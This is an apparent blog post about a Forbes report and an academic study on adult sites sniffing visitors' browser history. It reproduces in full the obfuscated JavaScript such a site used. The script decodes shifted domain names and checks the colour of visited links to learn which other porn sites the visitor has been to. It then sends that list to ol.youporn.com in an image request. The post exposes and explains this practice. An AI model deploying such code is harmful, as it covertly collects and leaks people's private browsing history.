Are sites tagging you “Purple” based on your browser cookies?
If you can stand the torture of reading Forbes.com, their article on how porn sites sniff users history is worth a read. The piece follows up on an earlier academic study on information flows in the adult-entertainment industry (gaming, sports, porn, etc). [Available here in PDF format].
The nut is a script they use to harvest your cookies:
<script type=”text/javascript”>
function ypol(){var k={0:”qpsoivc/dpn”,1:”sfeuvcf/dpn”,2:”bevmugsjfoegjoefs/dpn”,3:
“ywjefpt/dpn”,4:”uvcf9/dpn”,5:”yoyy/dpn”,6:”nfhbqpso/dpn”,7:”nfhbspujd/dpn”,8:
“yibntufs/dpn”,9:”bxfnqjsf/dpn”,10:”sfbmjuzljoht/dpn”,11:”csb{{fst/dpn”,12:
“yuvcf/dpn”,13:”cbohcspt2/dpn”,14:”gmjoh/dpn”,15:”gsffpoft/dpn”,16:
“nzgsffqbztjuf/dpn”,17:”efcpobjscmph/dpn”,18:”qbztfswf/dpn”,19:”nbyqpso/dpn”,20:
“wjefpt{/dpn”,21:”bfco/ofu”,22:”qpsopsbnb/dpn”};var g=[];for(var m in k)
{var d=k[m];var a=”";for(var f=0;f<d.length;f++)
{a+=String.fromCharCode(d.charCodeAt(f)-1)}var h=false;for(var j in
{“http://”:”",”http://www.”:”"}){var l=document.createElement(“a”);
l.href=j+a;document.getElementById(“ol”).appendChild(l);var e=”";
if(navigator.appName.indexOf(“Microsoft”)!=-1){e=l.currentStyle.color}
else{e=document.defaultView.getComputedStyle(l,null).getPropertyValue(“color”)}
if(e==”rgb(12, 34, 56)”||e==”rgb(12,34,56)”){h=true}}if(h){g.push(m)}}
var b=(g instanceof Array)?g.join(“,”):”";var c=document.createElement(“img”);
c.src=”http://ol.youporn.com/blank.gif?id=”+b;
document.getElementById(“ol”).appendChild(c)}ypol();
</script>
The strings referenced are -1 in alphabetical sequence… so “qpsoivc/dpn”, for example, becomes “pornhub.com.”